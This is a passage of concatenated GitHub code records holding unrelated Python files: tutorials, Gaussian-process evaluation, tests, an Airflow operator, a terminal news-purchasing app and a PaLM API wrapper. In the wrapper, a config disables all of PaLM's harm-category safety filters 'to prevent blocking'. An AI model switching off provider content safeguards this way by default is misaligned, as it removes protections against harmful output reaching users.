second.outputs[second_index])\n        return joinnode\n\n    def transform(self, objsource):\n        transformnode = self.tree.nodes.new(type=\"GeometryNodeTransform\")\n        obj_index = get_index_of_output(objsource, \"Geometry\")\n        create_node_link(objsource.outputs[obj_index],transformnode.inputs[0])\n        return transformnode\n#endregion","repo_name":"curtisjamesholt/BY-GEN-public","sub_path":"modules/geonodes.py","file_name":"geonodes.py","file_ext":"py","file_size_in_byte":2808,"program_lang":"python","lang":"en","doc_type":"code","stars":221,"dataset":"github-code","pt":"35"}
{"seq_id":"5241317819","text":"# A parameter\n# Arguments are used as the actual values we provide to a function\n\n\n# Positional arguments are arguments that are required to be in the proper position. ie if when the parameters where defined as name , emoji the arguments must be in that order to be properly returned.\n\n# Keyword arguments makes it possible for us not to worry  about the position.\ndef show_tree(name, emoji):\n    #           variable/parameters\n    print(f'Hello {name} {emoji}')\n    # The parameters created above can be used in the print\nprint()\n\n# These are positional arguments\nshow_tree('Jacob', '😃') # These are the arguments\nshow_tree('Fritz', '😃')\nshow_tree('Jack', '😃')\nshow_tree('Anna', '😃')\n# Parameters are used for when we define the function\n# Arguments are used for when we we call / invoke the function\n\n# Keyword arguments\n# This is bad practice cuz it complicates the code more than how it actually is\nshow_tree(emoji='😀', name='Emiley')\n\n#Keyword arguments are confused with default parameters\n\n#Default parameters allow us to give what we want as default where we define the function at once.\n# When you're unable to call functions which have been given, print out the default names given as shown below.\n\n# In my opinion this is the best followed by the positional arguments\ndef mantel(name='Kendrick', emoji='😠'):\n    print(f'Hey {name} {emoji}')\nprint()\n\nmantel()\nmantel('Fred', '😃')","repo_name":"Xevlyn/Python_Learn","sub_path":"Day 8/Default parameters and keyword arguments.py","file_name":"Default parameters and keyword arguments.py","file_ext":"py","file_size_in_byte":1411,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"29446954555","text":"# import model\r\nimport gp\r\nimport evaluate\r\nimport random\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\nfrom tqdm import tqdm\r\n\r\nif __name__ == '__main__':\r\n    \r\n    #model.exe()\r\n\r\n    xmax = 352\r\n    ymax = 1216\r\n    a = []\r\n    b = []\r\n\r\n    # #preは２２５までおｋ\r\n    # i=216\r\n    # path = 'pre_test_results/data{}/'.format(i)\r\n    # path1 = 'nomal_result/data216/'\r\n\r\n    # xs = 180\r\n    # xf = 220\r\n    # ys = 450\r\n    # yf = 600\r\n    \r\n    # error, var = evaluate.exe(path, path1, xs, xf, ys, yf)\r\n    # error = error.reshape(1,-1)[0]\r\n    # for e in error:\r\n    #     if e>0:\r\n    #         a.append(e)\r\n    # breakpoint()\r\n\r\n    # empty = [235, 250, 268, 274, 288, 291]\r\n\r\n    for i in tqdm(range(0, 300)):\r\n        # path = 'pre_test_results/data{}/'.format(i)\r\n        # path1 = 'sample_result/data{}/'.format(i)\r\n        # path1 = 'nomal_result/data{}/'.format(i)\r\n        # path = 'test_results/data{}/'.format(i)\r\n        path = 'penalty_only_test_results/data{}/'.format(i)\r\n\r\n        # マスクする領域をランダムに決める\r\n        # xs = random.randint(100,xmax)\r\n        # xf = xs + 80\r\n        # ys = random.randint(0,ymax)\r\n        # yf = ys + 30\r\n        # if random.randint(0,1)==1:\r\n        #     xf = xs + 30\r\n        #     yf = ys + 80\r\n        # if xf >= xmax:\r\n        #     tmp = xf - xs\r\n        #     xf = xs\r\n        #     xs = xf - tmp\r\n        # if yf >= ymax:\r\n        #     tmp = yf - ys\r\n        #     yf = ys\r\n        #     ys = yf - tmp\r\n\r\n        # マスクする領域を固定する\r\n        xs = 180\r\n        xf = 220\r\n        ys = 450\r\n        yf = 600\r\n        \r\n        \r\n        try:\r\n            # 説明変数の不確実性を考慮したガウス過程回帰を実行\r\n            # gp.exe_with_uncer(path, xs, xf, ys, yf)\r\n\r\n            # ガウス過程回帰を実行する\r\n            gp.exe(path, xs, xf, ys, yf, i)\r\n\r\n            # 予測値の評価をする\r\n            error, var = evaluate.exe(path, path, xs, xf, ys, yf)\r\n            # error, corr = evaluate.t_test(path, path, xs, xf, ys, yf)\r\n        except:\r\n            print(i)\r\n            continue\r\n        error = error.reshape(1,-1)[0]\r\n        var = var.reshape(1, -1)[0]\r\n        a.append(error)\r\n        b.append(var)\r\n\r\n    # # # # # breakpoint()\r\n\r\n    # a = np.array(a).reshape(1,-1)[0]\r\n    # b = np.array(b).reshape(1,-1)[0]\r\n    a = np.array(a)\r\n    b = np.array(b)\r\n    np.save('ttest_pe_only_error', a)\r\n    np.save('ttest_pe_only_corr', b)\r\n    # plt.figure(figsize=(16, 5))\r\n    # plt.scatter(b,a)\r\n    # plt.xlabel('variance')\r\n    # plt.ylabel('relative error')\r\n    # plt.savefig('eval3.png' , format=\"png\")\r\n    # # breakpoint()\r\n\r\n\r\n","repo_name":"umeyuu/Smantic-Segmentation-and-Gaussian-Process-Regression","sub_path":"GP_exe_evaluate.py","file_name":"GP_exe_evaluate.py","file_ext":"py","file_size_in_byte":2704,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"39771650802","text":"\"\"\"\nAssorted standardized text elements like progress bars, graphs/charts,\nheaders, etc.\n\"\"\"\n\nimport math\nfrom src.daemons.server.ansi import ANSI_HI_WHITE, ANSI_HI_GREEN, ANSI_HI_YELLOW, ANSI_HI_RED, ANSI_GREEN, ANSI_NORMAL, ANSI_YELLOW, ANSI_RED\n\n\ndef progress_bar_str(char_limit, max_value, current_value):\n    \"\"\"\n    Returns a pretty progress bar string, complete with colorization.\n\n    :param int char_limit: How wide the progress bar (in characters) should\n        be. This includes the bar and its brackets. Must be at least 6.\n    :param int max_value: The maximum numeric value for the data represented\n        in the bar.\n    :param int current_value: The current value for the value represented\n        in the bar.\n    :rtype: basestring\n    :returns: A properly formatted progress bar.\n    \"\"\"\n\n    assert char_limit > 6, \"Bars must be at least 6 characters wide.\"\n\n    max_bar_width = char_limit - 2\n    perc = float(current_value) / max_value\n    bar_width = int(math.floor(perc * max_bar_width))\n    if perc >= 0.9:\n        bar_color = ANSI_HI_GREEN\n    elif perc >= 0.75:\n        bar_color = ANSI_NORMAL + ANSI_GREEN\n    elif perc >= 0.5:\n        bar_color = ANSI_HI_YELLOW\n    elif perc >= 0.3:\n        bar_color = ANSI_NORMAL + ANSI_YELLOW\n    elif perc >= 0.2:\n        bar_color = ANSI_HI_RED\n    else:\n        bar_color = ANSI_NORMAL + ANSI_RED\n\n    buf = ANSI_HI_WHITE + '[' + bar_color\n    buf += ('=' * bar_width) + (' ' * (max_bar_width - bar_width))\n    buf += ANSI_HI_WHITE + ']' + ANSI_NORMAL\n    return buf, int(math.floor(perc * 100)), bar_color","repo_name":"gtaylor/dott","sub_path":"src/game/parents/utils/text_elements.py","file_name":"text_elements.py","file_ext":"py","file_size_in_byte":1576,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"35"}
{"seq_id":"16428524791","text":"from typing import cast\n\nimport pytest\nfrom recon.stats import get_ner_stats\nfrom recon.types import Example, NERStats, Span, Token\nfrom recon.validation import filter_overlaps, upcase_labels\n\n\n@pytest.fixture()\ndef messy_data():\n    return [\n        {\n            \"text\": \"Denver, Colorado is a city.\",\n            \"spans\": [\n                {\"start\": 0, \"end\": 6, \"label\": \"GPE\"},\n                {\"start\": 0, \"end\": 16, \"label\": \"LOC\"},\n            ],\n            \"meta\": \"Cities Data\",\n        }\n    ]\n\n\ndef test_upcase_labels(example_corpus):\n    stats = cast(NERStats, get_ner_stats(example_corpus.train))\n    assert \"skill\" in stats.n_annotations_per_type\n    assert \"product\" in stats.n_annotations_per_type\n    assert \"SKILL\" in stats.n_annotations_per_type\n\n    example_corpus._train.apply_(\"recon.v1.upcase_labels\")\n    fixed_stats = cast(NERStats, get_ner_stats(example_corpus.train))\n    assert \"skill\" not in fixed_stats.n_annotations_per_type\n    assert \"product\" not in fixed_stats.n_annotations_per_type\n\n\ndef test_filter_overlaps():\n    def get_test_example(span_offsets):\n        spans = []\n        for so in span_offsets:\n            spans.append(Span(text=\"x\" * (so[1] - so[0]), start=so[0], end=so[1], label=so[2]))\n        return Example(text=\"x\" * 1500, spans=spans)\n\n    def spans_to_offsets(spans):\n        return [(span.start, span.end, span.label) for span in spans]\n\n    test_entities = [(0, 5, \"ENTITY\"), (6, 10, \"ENTITY\")]\n    result = filter_overlaps(get_test_example(test_entities))\n    assert spans_to_offsets(result.spans) == [(0, 5, \"ENTITY\"), (6, 10, \"ENTITY\")]\n\n    test_entities = [(0, 5, \"ENTITY\"), (5, 10, \"ENTITY\")]\n    result = filter_overlaps(get_test_example(test_entities))\n    assert spans_to_offsets(result.spans) == [(0, 5, \"ENTITY\"), (5, 10, \"ENTITY\")]\n\n    test_entities = [(0, 5, \"ENTITY\"), (4, 10, \"ENTITY\")]\n    result = filter_overlaps(get_test_example(test_entities))\n    assert spans_to_offsets(result.spans) == [(4, 10, \"ENTITY\")]\n\n    test_entities = [(0, 5, \"ENTITY\"), (0, 5, \"ENTITY\")]\n    result = filter_overlaps(get_test_example(test_entities))\n    assert spans_to_offsets(result.spans) == [(0, 5, \"ENTITY\")]\n\n    test_entities = [(0, 5, \"ENTITY\"), (4, 11, \"ENTITY\"), (6, 20, \"ENTITY\")]\n    result = filter_overlaps(get_test_example(test_entities))\n    assert spans_to_offsets(result.spans) == [(0, 5, \"ENTITY\"), (6, 20, \"ENTITY\")]\n\n    test_entities = [(0, 5, \"ENTITY\"), (4, 7, \"ENTITY\"), (10, 20, \"ENTITY\")]\n    result = filter_overlaps(get_test_example(test_entities))\n    assert spans_to_offsets(result.spans) == [(0, 5, \"ENTITY\"), (10, 20, \"ENTITY\")]\n\n    test_entities = [(1368, 1374, \"ENTITY\"), (1368, 1376, \"ENTITY\")]\n    result = filter_overlaps(get_test_example(test_entities))\n    assert spans_to_offsets(result.spans) == [(1368, 1376, \"ENTITY\")]\n\n    test_entities = [\n        (12, 33, \"ENTITY\"),\n        (769, 779, \"ENTITY\"),\n        (769, 787, \"ENTITY\"),\n        (806, 811, \"ENTITY\"),\n    ]\n    result = filter_overlaps(get_test_example(test_entities))\n    assert spans_to_offsets(result.spans) == [\n        (12, 33, \"ENTITY\"),\n        (769, 787, \"ENTITY\"),\n        (806, 811, \"ENTITY\"),\n    ]\n\n    test_entities = [\n        (189, 209, \"ENTITY\"),\n        (317, 362, \"ENTITY\"),\n        (345, 354, \"ENTITY\"),\n        (364, 368, \"ENTITY\"),\n    ]\n    result = filter_overlaps(get_test_example(test_entities))\n    assert spans_to_offsets(result.spans) == [\n        (189, 209, \"ENTITY\"),\n        (317, 362, \"ENTITY\"),\n        (364, 368, \"ENTITY\"),\n    ]\n\n    test_entities = [(445, 502, \"ENTITY\"), (461, 473, \"ENTITY\"), (474, 489, \"ENTITY\")]\n    result = filter_overlaps(get_test_example(test_entities))\n    assert spans_to_offsets(result.spans) == [(445, 502, \"ENTITY\")]\n","repo_name":"microsoft/reconner","sub_path":"tests/test_validation.py","file_name":"test_validation.py","file_ext":"py","file_size_in_byte":3744,"program_lang":"python","lang":"en","doc_type":"code","stars":31,"dataset":"github-code","pt":"35"}
{"seq_id":"5604839041","text":"from google.api_core import retry\nimport google.generativeai as palm\nimport os\nimport re\nimport config\nimport os\nimport tenacity\nfrom time import sleep\n\n# Set PaLM API key from environment or config file\napi_key = os.environ.get(\"PALM_API_KEY\")\nif (api_key is None or api_key == \"\") and os.path.isfile(os.path.join(os.getcwd(), \"keys.cfg\")):\n    cfg = config.Config('keys.cfg')\n    api_key = cfg.get(\"PALM_API_KEY\")\npalm.configure(api_key=api_key)\n\n@retry.Retry()\ndef retry_chat(**kwargs):\n    return palm.chat(**kwargs)\n\n@retry.Retry()\ndef retry_reply(x, arg):\n    return x.reply(arg)\n\n@tenacity.retry(wait=tenacity.wait_random_exponential(min=150, max=500), stop=tenacity.stop_after_attempt(6))\ndef generate_text(*args, **kwargs):\n    return palm.generate_text(*args, **kwargs)\n\n# PALM Chat \nclass PalmChat:\n    def __init__(self, model=\"models/chat-bison-001\"):\n        self.defaults = {\n            'model': model,\n            'temperature': 0,\n            'top_p': 1,\n            'candidate_count': 1\n        }\n        self.response = None\n\n    def init_chat(self, context=\"You are a helpful assisstant\", init_message=\"Hello\"):\n        # initialize chat\n        response = None\n        response = retry_chat(\n        **self.defaults,\n        context=context,\n        messages=init_message\n        )\n        self.response = response\n        \n    def reply(self, reply):\n        self.response = retry_reply(self.response, reply)\n        while self.response.last == None:\n            self.response = retry_reply(self.response, reply)\n\n    def get_response(self):\n        output = self.response.last\n        # clean output\n        output = re.sub(\"\\n\", \" \", output)\n        return output\n\n\ndef PalmCompletion(phrase, model=\"models/text-bison-001\", num_samples=1):\n    # Request configuration disabling all safety settings to prevent blocking\n    config = {\n        'model': model,\n        'temperature': 0,\n        'top_p': 1,\n        'candidate_count': num_samples,\n        'safety_settings': [{\"category\":\"HARM_CATEGORY_DEROGATORY\",\"threshold\":4},{\"category\":\"HARM_CATEGORY_TOXICITY\",\"threshold\":4},{\"category\":\"HARM_CATEGORY_VIOLENCE\",\"threshold\":4},{\"category\":\"HARM_CATEGORY_SEXUAL\",\"threshold\":4},{\"category\":\"HARM_CATEGORY_MEDICAL\",\"threshold\":4},{\"category\":\"HARM_CATEGORY_DANGEROUS\",\"threshold\":4}],\n    }\n    # to prevent rate limiting\n    sleep(2)\n    response = generate_text(\n        **config,\n        prompt=phrase\n    )\n    output = response.result\n    # clean output\n    if isinstance(output, str):\n        output = re.sub(\"\\n\", \" \", output)\n    return output\n\nif __name__ == \"__main__\":\n    chat = PalmChat()\n    chat.init_chat(init_message=\"I have 3 apples and 10 bananas. How many fruits do I have in total?\")\n    for i in range(5):\n        print(chat.get_response())\n        x = input(\"> \")\n        chat.reply(x)\n","repo_name":"princeton-nlp/intercode","sub_path":"experiments/utils/palm_api.py","file_name":"palm_api.py","file_ext":"py","file_size_in_byte":2834,"program_lang":"python","lang":"en","doc_type":"code","stars":132,"dataset":"github-code","pt":"35"}
{"seq_id":"73195974822","text":"#! /usr/bin/env python3\n\"\"\"\neliminate some of the boiler-plate involved in running our \"on hardware\"\nqemu tests, which are actually examples.\n\"\"\"\nimport os\nimport shlex\nimport subprocess\n\n\ndef main(verbose=False):\n    our_dir = os.path.dirname(os.path.realpath(__file__))\n    for example in os.listdir(os.path.join(our_dir, \"examples\")):\n        if example.startswith(\"test_\"):\n            command = 'cargo run --example {} --release --features=\"embedded-hal\" --target thumbv7m-none-eabi'.format(\n                os.path.splitext(example)[0]\n            )\n            print(\"running `{}`\".format(command))\n            subprocess.run(shlex.split(command), check=True)\n\n\nif __name__ == \"__main__\":\n    import argparse\n\n    parser = argparse.ArgumentParser()\n    parser.add_argument(\"--verbose\", \"-v\", action=\"store_true\", help=\"verbose output\")\n\n    args = parser.parse_args()\n    main(verbose=args.verbose)\n","repo_name":"TDHolmes/systick-timebase","sub_path":"run-qemu-tests.py","file_name":"run-qemu-tests.py","file_ext":"py","file_size_in_byte":906,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"3569533839","text":"import os\nimport pyfiglet\nfrom dotenv import load_dotenv\nfrom rich import box\nfrom rich.console import Console\nfrom rich.table import Table\nfrom user_account import UserAccount\nfrom currency import Currency\nfrom news_vendor import NewsVendor\n\n# Load environment variables from '.env' file.\nload_dotenv()\napi_key = os.environ.get('API_KEY')\n\nexchange_rate_api_key = os.environ.get('EXCHANGE_RATE_API_KEY')\nnews_api_key = os.environ.get('NEWS_API_KEY')\n\nconsole = Console()\n\n\ndef clear_screen():\n    \"\"\"Clears the terminal screen\"\"\"\n    if os.name == 'nt':  # If the operating system is Windows\n        os.system('cls')\n    else:\n        os.system('printf \"\\033c\"')  # If the operating system is not Windows\n\n\ndef prompt_main_menu():\n    \"\"\"Prompt user to return to main menu\"\"\"\n    input(\"\\nPress Enter to return to the main menu...\")\n\n\ndef main_menu(user, currency, news_vendor):\n    \"\"\"Show Main menu\"\"\"\n    while True:\n        clear_screen()\n        console.print(\"============== NewsBytes ==============\",\n                      justify=\"center\", style=\"bold cyan\")\n        console.print(f\"🌐 Welcome to NewsBytes, {user.username}! 🌐\",\n                      justify=\"center\")\n        print(\"\")\n\n        # Create a table instance\n        table = Table(show_header=True, header_style=\"bold cyan\",\n                      box=box.ROUNDED, show_lines=True, title=\"Main Menu\",\n                      title_style=\"bold cyan\")\n\n        # Add columns to the table\n        table.add_column(\"Option\", style=\"cyan\", justify=\"center\",\n                         no_wrap=True)\n        table.add_column(\"Description\", justify=\"left\", style=\"white\")\n\n        # Add rows to the table with the menu options\n        table.add_row(\"(1)\", f\"Add Funds ({currency.symbol}{user.funds:.2f})\")\n        table.add_row(\"(2)\",\n                      \"Purchase Credits ({} credits)\".format(user.credits))\n        table.add_row(\"(3)\", \"Purchase News Article\")\n        table.add_row(\"(4)\", f\"View Your Articles \"\n                      f\"({len(user.purchased_articles)} articles)\")\n        table.add_row(\"(5)\", \"Exit\")\n\n        # Print the table to the console\n        console.print(table, justify=\"center\")\n        print(\"\")\n\n        # Get user's choice\n        choice = input(\"Select your choice (1 - 5): \")\n\n        # Process user's choice\n        if choice == \"1\":\n            add_funds(user, currency)\n        elif choice == \"2\":\n            purchase_credits(user, currency, news_vendor)\n        elif choice == \"3\":\n            purchase_article(user, news_vendor)\n        elif choice == \"4\":\n            view_purchased_articles(user)\n        elif choice == \"5\":\n            exit_program()\n        else:\n            console.print(\"❌ Invalid choice. Please select a number\"\n                          \"between 1 and 5.\", style=\"bold red\")\n\n\ndef add_funds(user, currency):\n    \"\"\"Add funds to user's account\"\"\"\n    clear_screen()\n    console.print(\"============ Add Funds ============\",\n                  justify=\"center\", style=\"bold cyan\")\n    console.print(f\"💰 Account Funds: ({currency.symbol}{user.funds:.2f})\",\n                  justify=\"center\")\n    print(\"\")\n\n    while True:\n        amount = input(\n            f\"Enter amount to add in {currency.currency_code}: \").strip()\n        # Check for empty input\n        if not amount:\n            print(\"❌ Amount cannot be empty. Please try again!\")\n            continue\n        try:\n            # Convert input to float and check its value\n            amount_float = float(amount)\n            if amount_float <= 0:\n                print(\"❌ Amount must be greater than 0. Please try again!\")\n                continue\n            else:\n                # Add funds to user's account\n                user.add_funds(amount_float)\n                console.print(f\"✅ {currency.symbol}{amount_float:.2f} added \"\n                              \"successfully!\", style=\"bold green\")\n                prompt_main_menu()\n                break\n        except ValueError:\n            print(\"❌ Amount must be a number. Please try again!\")\n\n\ndef purchase_credits(user, currency, news_vendor):\n    \"\"\"Purchase credits for users account\"\"\"\n    clear_screen()\n    console.print(\"========= Purchase Credits =========\",\n                  justify=\"center\", style=\"bold cyan\")\n    console.print(f\"💳 Account Credits: ({user.credits})\",\n                  justify=\"center\")\n    print(\"\")\n\n    # Create a table for purchasing credits\n    credits_table = Table(\n        show_header=True, header_style=\"bold magenta\", box=box.ROUNDED,\n        show_lines=True, title=\"Credit Packages\", title_style=\"bold cyan\")\n\n    # Add columns to the table\n    credits_table.add_column(\"Option\", style=\"cyan\", justify=\"center\",\n                             no_wrap=True)\n    credits_table.add_column(\"Credits\", justify=\"center\", style=\"white\")\n    credits_table.add_column(\"Cost\", justify=\"center\", style=\"green\")\n\n    # Add rows to the table with the credit purchase options\n    for idx, option in enumerate(news_vendor.credit_options, 1):\n        credits_table.add_row(f\"({idx})\", f\"{option} credits\",\n                              f\"{currency.symbol}\"\n                              f\"{option * currency.conversion_rate:.2f}\")\n\n    # Print the table to the console\n    console.print(credits_table, justify=\"center\")\n    print(\"\")\n\n    while True:\n        credits_choice = input(\n            f\"Select credit package to purchase \"\n            f\"(1 - {len(news_vendor.credit_options)}), \"\n            \"or enter 'back' to go back: \").strip().lower()\n\n        # Check if user wants to go back to main menu\n        if credits_choice == 'back':\n            break\n\n        # Check if user entered a valid credit selection\n        if not (credits_choice.isdigit() and\n                1 <= int(credits_choice) <= len(news_vendor.credit_options)):\n            console.print(\n                          \"❌ Invalid choice. Please \"\n                          \"select a valid option \"\n                          \"from the table.\", style=\"bold red\")\n            continue\n        else:\n            credits_index = int(credits_choice) - 1\n            credits_amount = news_vendor.credit_options[credits_index]\n            cost = credits_amount * currency.conversion_rate\n\n            if user.funds >= cost:\n                user.purchase_credits(credits_amount, cost)\n                console.print(\n                    f\"✅ {credits_amount} credits purchased successfully for \"\n                    f\"{currency.symbol}{cost:.2f}!\", style=\"bold green\")\n            else:\n                console.print(\n                    f\"❌ Insufficient funds. \"\n                    \"You need {currency.symbol}{cost - user.funds:.2f} \"\n                    \"more to purchase this package.\", style=\"bold red\")\n\n            prompt_main_menu()\n            break\n\n\ndef purchase_article(user, news_vendor):\n    \"\"\"Purchase news articles\"\"\"\n    clear_screen()\n    console.print(\"====== Purchase News Article ======\",\n                  justify=\"center\", style=\"bold cyan\")\n    console.print(f\"💳 Account Credits: ({user.credits})\",\n                  justify=\"center\")\n    print(\"\")\n\n    promo_category = news_vendor.get_promo_category()\n\n    table = Table(show_header=True, header_style=\"bold cyan\",\n                  box=box.ROUNDED, show_lines=True,\n                  title=\"News Categories\", title_style=\"bold cyan\")\n    table.add_column(\"Option\", justify=\"center\", style=\"cyan\", no_wrap=True)\n    table.add_column(\"Category\", justify=\"center\", style=\"white\")\n    table.add_column(\"Cost\", justify=\"center\", style=\"green\")\n\n    # show categories\n    for idx, category in enumerate(news_vendor.categories, 1):\n        # add promo message to category if it is the promo category\n        if category == promo_category:\n            table.add_row(f\"({idx})\",\n                          f\"{category.title()}\"\n                          f\"- {news_vendor.get_promo_message(category)}\",\n                          \"1 credit\")\n        else:\n            table.add_row(f\"({idx})\", f\"{category.title()}\", \"2 credits\")\n\n    console.print(table)\n\n    while True:\n        # get category choice\n        print(\"\")\n        category_choice = input(\n            f\"Select category (1 - {len(news_vendor.categories)}): \").strip()\n\n        if not category_choice:\n            print(\"❌ Category cannot be empty. Please try again!\")\n            continue\n\n        valid_options = map(str,\n                            range(1, len(news_vendor.categories) + 1))\n        if category_choice not in valid_options:\n            print(\"❌ Please enter a valid option!\")\n            continue\n\n        # get selected category\n        selected_category = int(category_choice) - 1\n        break\n\n    # choose a news article from category\n    clear_screen()\n    console.print(\n        f\"🌍 Todays top international stories in \"\n        f\"{news_vendor.categories[selected_category]} 🌍\",\n        justify=\"center\", style=\"cyan\")\n    print(\"\")\n\n    # get and display articles from news vendor\n    news_vendor.get_articles(selected_category)\n    print(\"\")\n\n    # Display articles in a table\n    articles_table = Table(\n        show_header=True, header_style=\"bold cyan\", box=box.ROUNDED,\n        show_lines=True, title=\"Available Articles\", title_style=\"bold cyan\")\n\n    # Add columns to the articles table\n    articles_table.add_column(\"No.\", style=\"cyan\", justify=\"center\")\n    articles_table.add_column(\"Title\", style=\"white\", justify=\"left\")\n    articles_table.add_column(\"Author\", style=\"green\", justify=\"left\")\n    articles_table.add_column(\"Published At\", style=\"magenta\", justify=\"left\")\n\n    # Add rows to the articles table\n    for idx, article in enumerate(news_vendor.selected_articles, 1):\n        articles_table.add_row(\n            f\"({idx})\", article['title'],\n            article['author'] if 'author' in article else \"N/A\",\n            article['publishedAt'])\n\n    # Print the articles table\n    console.print(articles_table)\n    print(f\"💳 Account Credits: ({user.credits})\")\n\n    while True:\n        # get article choice\n        selected_articles_length = len(news_vendor.selected_articles)\n        article_choice = input(\n            f\"Select article (1 - \"\n            f\"{selected_articles_length}): \").strip()\n\n        # check for valid choice\n        article_range = range(1, selected_articles_length + 1)\n        if article_choice not in map(str, article_range) or \\\n           not article_choice:\n            print(\"❌ Please enter a valid option!\")\n            continue\n\n        # get selected article\n        article_index = int(article_choice) - 1\n        selected_article = news_vendor.selected_articles[article_index]\n\n        # check if article discount applies\n        if news_vendor.categories[selected_category] == promo_category:\n            article_price = 1\n        else:\n            article_price = 2\n\n        # check if user has enough credits\n        if user.credits < article_price:\n            clear_screen()\n            console.print(f\"❌ You don't have enough credits. ❌\",\n                          style=\"bold red\", justify=\"center\")\n            console.print(f\"These articles cost {article_price} credits each. \"\n                          \"Please top up your account!\", justify=\"center\")\n            prompt_main_menu()\n            break\n\n        # purchase article and deduct account credits\n        user.credits -= article_price\n        user.purchased_articles.append(selected_article)\n        print(f\"🎉 Article purchased for {article_price} credits!\")\n        break\n\n\ndef view_purchased_articles(user):\n    \"\"\"View purchased articles\"\"\"\n    clear_screen()\n    console.print(\"======== Your Articles =========\",\n                  justify=\"center\", style=\"bold cyan\")\n\n    if not user.purchased_articles:\n        console.print(\"You have not purchased any articles yet!\",\n                      style=\"bold red\")\n    else:\n        # Loop through each purchased article\n        for idx, article in enumerate(user.purchased_articles, 1):\n            # Create a table for this particular article\n            article_table = Table(\n                show_header=True, header_style=\"bold cyan\",\n                box=box.ROUNDED, show_lines=True)\n\n            # Add columns to the article table\n            article_table.add_column(\"No.\", style=\"cyan\",\n                                     justify=\"center\", no_wrap=True)\n            article_table.add_column(\"Title\", justify=\"center\", style=\"white\")\n            article_table.add_column(\"Description\", justify=\"center\",\n                                     style=\"white\")\n\n            # Add the article details as a row\n            article_table.add_row(\n                str(idx),\n                article['title'],\n                article['description'] or\n                \"No description available.\"\n            )\n\n            console.print(article_table, justify=\"center\")\n\n            # Display the article's access link below each table\n            console.print(f\"\\n🔗 [bold blue]Access Link:[/] {article['url']}\\n\",\n                          justify=\"center\")\n\n    print(\"\")\n    prompt_main_menu()\n\n\ndef exit_program():\n    \"\"\"Exit program and display goodbye message\"\"\"\n    clear_screen()\n    print(pyfiglet.figlet_format(\"Goodbye!\", font=\"slant\", justify=\"center\"))\n    console.print(\"👋 Thank you for using NewsBytes!\",\n                  justify=\"center\")\n    console.print(\"Have a great day!\",\n                  justify=\"center\")\n    exit()\n\n\ndef main():\n    \"\"\"Main function.\"\"\"\n    clear_screen()\n\n    LOGO = pyfiglet.figlet_format(\"NewsBytes\", justify=\"center\", font=\"slant\")\n    print(LOGO)\n\n    # get username\n    while True:\n        username = input(\"👤 Enter your username: \\n\").strip()\n        if not username:\n            print(\"❌ Username cannot be empty. Please try again!\")\n        elif not all(name.isalpha() for name in username.split()):\n            print(\"❌ Username should only contain letters. Please try again!\")\n        else:\n            break\n\n    # get user's currency\n    while True:\n        valid_currencies = (\"USD\", \"EUR\", \"GBP\", \"CAD\", \"AUD\", \"CNY\")\n        currency = input(\"💰 Select your currency \"\n                         \"(EUR, USD, GBP, CAD, AUD, CNY): \\n\")\\\n            .strip().upper()\n        if currency not in valid_currencies or not currency:\n            print(\"❌ Please enter a valid currency!\")\n        else:\n            break\n\n    # instantiate user class\n    user = UserAccount(username)\n\n    # instantiate currency class\n    currency = Currency(exchange_rate_api_key, currency)\n\n    # instantiate news vendor class\n    news_vendor = NewsVendor(news_api_key)\n\n    # show main menu\n    main_menu(user, currency, news_vendor)\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"ShaneDoyleDev/newsbytes","sub_path":"run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":14742,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"26749540911","text":"from airflow.hooks.postgres_hook import PostgresHook\nfrom airflow.models import BaseOperator\nfrom airflow.utils.decorators import apply_defaults\nfrom helpers import SqlQueries\n\nclass LoadDimensionOperator(BaseOperator):\n    \n    ui_color = '#80BD9E'\n\n    @apply_defaults\n    def __init__(self,\n                 redshift_conn_id = \"\",\n                 table = \"\",\n                 sql = \"\",  \n                 truncate=False,\n                 *args, **kwargs):\n\n        super(LoadDimensionOperator, self).__init__(*args, **kwargs)\n        self.redshift_conn_id = redshift_conn_id\n        self.table = table\n        self.sql = sql\n        self.truncate = truncate\n\n    def execute(self, context):\n        postgres_hook = PostgresHook(postgres_conn_id=self.redshift_conn_id)\n        if self.truncate:\n            self.log.info(f\"Truncate dimension table: {self.table}\")\n            postgres_hook.run(f\"Truncate table {self.table}\")        \n        self.log.info(f\"Insert data from fact table into {self.table}\")\n        sql_statement = f\"INSERT INTO {self.table} ({self.sql})\"\n        postgres_hook.run(sql_statement)\n        self.log.info(f\"Task {self.task_id} successful\")","repo_name":"aabid0193/etl_pipeline_with_airflow","sub_path":"plugins/operators/load_dimension.py","file_name":"load_dimension.py","file_ext":"py","file_size_in_byte":1171,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"17258645250","text":"# Advancing left to right (1 move each tick) across a grid where each column has a different number of rows and a scanner that ping-pongs up and down the elements of the row. Calculates\n# a score for every time the scanner and the player occupy the same cell based on the column index and number of rows. Player only moves across the first row\n# \ndef part_one(ranges, total_timesteps):\n\tcurrent_score = 0\n\n\t# Timestep also acts as location of the packet as it moves one space every step\n\tfor timestep in xrange(total_timesteps):\n\t\ttry:\n\t\t\tr = ranges[timestep]\n\t\t\tscanner_pos = sample_tri_wave(timestep, r - 1)\n\n\t\t\t# The packet only moves along the top row (0)\n\t\t\tif scanner_pos == 0:\n\t\t\t\tcurrent_score += timestep * r\n\t\texcept KeyError:\n\t\t\t# Some columns have no scanner range\n\t\t\tNone\n\n\treturn current_score\n\n# Part two involes calculating the initial delay to apply to the packet so that it can make it safely across the grid\n# without intersecting with the scanner. Returns the delay (technically in picoseconds but essentially just ticks).\n# \n# Brute force method - justs runs the simulation for every possible delay until we succeed\n# \ndef part_two(ranges, total_timesteps):\n\tcurrent_score = 0\n\tinit_delay = 0\n\tsuccess = False\n\n\twhile success == False:\n\t\t# This time location is not the same as timestep as we delay movement\n\t\tfor x in xrange(total_timesteps):\n\t\t\t# Assume we make it through successfully until we don't\n\t\t\tsuccess = True\n\n\t\t\ttry:\n\t\t\t\tr = 